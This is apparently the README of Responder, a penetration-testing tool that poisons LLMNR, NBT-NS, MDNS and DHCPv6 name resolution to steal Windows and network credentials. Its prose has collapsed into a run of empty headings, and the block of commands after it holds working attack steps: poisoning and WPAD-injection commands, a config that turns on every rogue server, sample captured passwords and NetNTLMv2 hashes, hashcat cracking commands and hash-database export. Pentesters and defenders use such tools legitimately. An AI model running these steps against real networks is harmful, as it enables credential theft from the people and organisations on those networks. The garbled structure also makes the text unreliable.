Responder is a LLMNR, NBT-NS, and MDNS poisoner with built-in rogue authentication servers for HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS, and more. It supports NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP, and various authentication methods across 15+ protocols. Responder captures credentials by responding to LLMNR, NBT-NS, and MDNS name resolution requests. When a client attempts to resolve a non-existent hostname, Responder answers, directing the client to the attacker's machine where multiple rogue authentication servers capture credentials. DHCP, DHCPv6 rogue servers are also included and can be enabled separately. Captured Data: This version includes: Purpose: Respond to name resolution failures How it works: Configuration: Usage: Purpose: Force clients to use attacker's DNS via IPv6 Features: How it works: Configuration: Usage: Expected Output: Responder includes 17+ rogue authentication servers: Purpose: Capture NetNTLM hashes from file shares Features: Triggers: Captured Format: Cracking: Configuration: Purpose: Capture cleartext FTP credentials Features: Triggers: Captured Format: Configuration: Purpose: Capture Microsoft SQL Server authentication Features: Triggers: Captured Formats: Configuration: Notes: Purpose: Capture email client authentication Features: STARTTLS Flow: Triggers: Captured Formats: Configuration: Certificate Warnings: Self-signed cert warnings are normal. Clients reject first attempt, retry, and succeed. Credentials still captured. Purpose: Capture IMAP authentication with STARTTLS Features: STARTTLS Flow: Configuration: Purpose: IMAP over SSL (native encryption) Features: How it differs from IMAP: Configuration: Purpose: Capture POP3 email retrieval credentials Features: Triggers: Captured Format: Configuration: Purpose: Capture web authentication Features: Triggers: Force Basic Auth: Captured Formats: Configuration: Purpose: HTTPS with authentication capture Features: Configuration: Purpose: Capture AS-REP hashes for offline cracking Features: How it works: Cracking: Configuration: Purpose: Capture LDAP directory authentication Features: Triggers: Captured Formats: Configuration: Purpose: LDAP over SSL Features: Configuration: Purpose: Capture Remote Desktop authentication Features: Triggers: Captured Format: Configuration: Note: Captures NLA authentication before desktop session. Purpose: Capture Windows Remote Management credentials Features: Triggers: Captured Formats: Configuration: Purpose: Rogue DNS with domain filtering Features: Configuration: How it works: Supported Record Types: Domain Filtering Example: Configuration: Purpose: Capture Windows RPC authentication Features: Triggers: Captured Format: Configuration: Edit Detection Indicators: Defensive Measures: Permission Denied: Interface Not Found: Port Already in Use: DHCPv6 Not Working: No Hashes Captured: Author: Laurent Gaffié You can contribute to this project by donating to the following USDT or Bitcoin address: USDT: 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A BTC: bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49 Paypal: https://paypal.me/PythonResponder Late Responder development has been possible because of the donations received from individuals and companies. We would like to thanks those major sponsors: SecureWorks: https://www.secureworks.com/ Synacktiv: https://www.synacktiv.com/ Black Hills Information Security: http://www.blackhillsinfosec.com/ TrustedSec: https://www.trustedsec.com/ Red Siege Information Security: https://www.redsiege.com/ Open-Sec: http://www.open-sec.com/ And all, ALL the pentesters around the world who donated to this project. Thank you.sudo apt-get update
sudo apt-get install python3 python3-pip python3-netifaces
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txtsudo python3 Responder.py --help
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v
# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v
# Edit Responder.conf first:
# [DHCPv6 Server]
# DHCPv6_Domain = corp.local
sudo python3 Responder.py -I eth0 --dhcpv6 -v
sudo python3 Responder.py -I eth0 -b -v
# Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)
sudo python3 Responder.py -I eth0 -Pvd[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
sudo python3 Responder.py -I eth0 -v
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
sudo python3 Responder.py -I eth0 --dhcpv6 -v
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: user@corp.local:Password123
# UNC paths
\\attacker-ip\share
\\non-existent-server\files
# NET USE commands
net use \\attacker-ip\share
# Windows Explorer address bar
\\attacker-ip\
username::domain:challenge:response:blob
hashcat -m 5600 smb-ntlmv2.txt wordlist.txt
[Responder Core]
SMB = On
ftp attacker-ip
# Username: anything
# Password: anything
[FTP] Cleartext: username:password
[Responder Core]
FTP = On
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows
-- Command line
sqlcmd -S attacker-ip -U sa -P password
-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;
[MSSQL] SQL Auth: sa:password123
[MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob
[Responder Core]
SQL = On
Client → EHLO
Server → 250-STARTTLS
Client → STARTTLS
Server → 220 Ready to start TLS
[TLS handshake using self-signed cert]
Client → AUTH PLAIN <credentials>
Server → Captured! ✅
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything
[SMTP] LOGIN: user@company.com:Password123
[SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob
[SMTP] CRAM-MD5: user:challenge:response
[Responder Core]
SMTP = On
Client → CAPABILITY
Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS
Client → STARTTLS
Server → OK Begin TLS negotiation now
[TLS upgrade]
Client → LOGIN user password
Server → Captured! ✅
[Responder Core]
IMAP = On
Port 143 (IMAP): Plain → STARTTLS → Encrypted
Port 993 (IMAPS): Encrypted from start
[Responder Core]
IMAPS = On
Email client:
- Protocol: POP3
- Server: attacker-ip
- Port: 110
[POP3] USER: username
[POP3] PASS: password
[Responder Core]
POP = On
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection
sudo python3 Responder.py -I eth0 -b
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash
[Responder Core]
HTTP = On
[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
hashcat -m 7500 kerberos-asreq.txt wordlist.txt
[Responder Core]
Kerberos = On
# LDAP query
ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password
# Active Directory tools
dsquery user -d attacker-ip
[LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob
[Responder Core]
LDAP = On
[Responder Core]
LDAP = On
Remote Desktop Client:
- Computer: attacker-ip
- Username: anything
- Password: anything
[RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob
[Responder Core]
RDP = On
# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }
# WinRM command line
winrm invoke -remote:http://attacker-ip
[WinRM] Basic: DOMAIN\user:password
[WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob
[Responder Core]
WINRM = On
[DHCPv6 Server]
; DNS uses same domain filter as DHCPv6
DHCPv6_Domain = corp.local
Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!
DHCPv6_Domain = corp.local
mail.corp.local → POISONED ✅
dc01.corp.local → POISONED ✅
google.com → IGNORED (normal DNS)
[Responder Core]
DNS = On
Windows services querying RPC endpoint mapper
WMI queries
Remote registry access
[DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob
[Responder Core]
DCERPC = On
Responder.conf:[Responder Core]
; === Network Services ===
SQL = On # MSSQL (port 1433)
SMB = On # SMB (ports 445, 139)
RDP = On # Remote Desktop (port 3389)
Kerberos = On # Kerberos (port 88)
FTP = On # FTP (port 21)
POP = On # POP3 (port 110)
SMTP = On # SMTP with STARTTLS (port 25/587)
IMAP = On # IMAP with STARTTLS (port 143)
IMAPS = On # IMAPS with SSL (port 993)
HTTP = On # HTTP (port 80)
HTTPS = On # HTTPS (port 443)
DNS = On # DNS (port 53)
LDAP = On # LDAP/LDAPS (ports 389/636)
DCERPC = On # Windows RPC (port 135)
WINRM = On # Windows Remote Management (ports 5985/5986)
; === Poisoners ===
LLMNR = On # Link-Local Multicast Name Resolution
NBTNS = On # NetBIOS Name Service
MDNS = On # Multicast DNS
DHCP = Off # DHCP (IPv4) - use with caution
DHCPv6 = On # DHCPv6 (IPv6) - use with more caution
; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db
; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
[HTTP Server]
HtmlFilename = files/AccessDenied.html
[DHCPv6 Server]
; Target specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements (use with caution)
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
sudo python3 Responder.py [options]
Option Description -I eth0, --interface=eth0Network interface to use (use 'ALL' for all interfaces) Option Description -A, --analyzeAnalyze mode - See NBT-NS, MDNS, LLMNR requests without responding -w, --wpadStart WPAD rogue proxy server (default: Off) -F, --ForceWpadAuthForce NTLM/Basic authentication on wpad.dat retrieval (old networks) -P, --ProxyAuthForce NTLM/Basic authentication for proxy (highly effective) Option Description -d, --DHCPEnable DHCP broadcast responses with WPAD injection (IPv4) -D, --DHCP-DNSInject DNS server in DHCP response instead of WPAD --dhcpv6Enable DHCPv6 poisoning (responds to SOLICIT messages) Option Description -e 10.0.0.22, --externalip=10.0.0.22Poison requests with another IPv4 address -6 ADDR, --externalip6=ADDRPoison requests with another IPv6 address -i 10.0.0.21, --ip=10.0.0.21Local IP to use (OSX only) Option Description -b, --basicReturn HTTP Basic authentication (default: NTLM) --lmForce LM hashing downgrade (Windows XP/2003) --disable-essForce Extended Security NTLMSSP downgrade Option Description -u HOST:PORT, --upstream-proxy=HOST:PORTUpstream HTTP proxy for rogue WPAD -t 1e, --ttl=1eChange Windows TTL for poisoned answers (hex: 30s=1e, or 'random') -N NAME, --AnswerName=NAMECanonical name for LLMNR answers (useful for Kerberos relay) -E, --ErrorCodeReturn STATUS_LOGON_FAILURE (enables WebDAV auth capture) Option Description -v, --verboseIncrease verbosity (recommended) -Q, --quietQuiet mode - Disable poisoner output Option Description --versionShow program version and exit -h, --helpShow help message and exit Responder.db # SQLite database
logs/
├── HTTP-NTLMv2-<IP>.txt # HTTP NetNTLMv2 hashes
├── SMB-NTLMv2-<IP>.txt # SMB NetNTLMv2 hashes
├── MSSQL-NTLMv2-<IP>.txt # MSSQL NetNTLMv2 hashes
├── Kerberos-AES-<IP>.txt # Kerberos AS-REP hashes
├── SMTP-Cleartext-<IP>.txt # SMTP cleartext credentials
├── IMAP-NTLMv2-<IP>.txt # IMAP NetNTLMv2 hashes
├── FTP-Cleartext-<IP>.txt # FTP cleartext credentials
├── LDAP-Cleartext-<IP>.txt # LDAP cleartext credentials
├── RDP-NTLMv2-<IP>.txt # RDP NetNTLMv2 hashes
└── WinRM-NTLMv2-<IP>.txt # WinRM NetNTLMv2 hashes
sqlite3 Responder.db
# Show tables
.tables
# Show all captured hashes
SELECT * FROM hashes;
# Export to CSV
.mode csv
.output hashes.csv
SELECT * FROM hashes;
.quit
sudo python3 Responder.py -I eth0
ip link show
sudo python3 Responder.py -I wlan0
sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd# Enable IPv6
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0
# Verify
sysctl net.ipv6.conf.all.disable_ipv6
# Verify servers running
sudo python3 Responder.py -I eth0 -v
# Check firewall
sudo iptables -L
# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389
# Very verbose output
sudo python3 Responder.py -I eth0 -vv
# Tail logs
tail -f logs/Responder-Session.log
# Network monitoring
sudo tcpdump -i eth0 -w responder-capture.pcap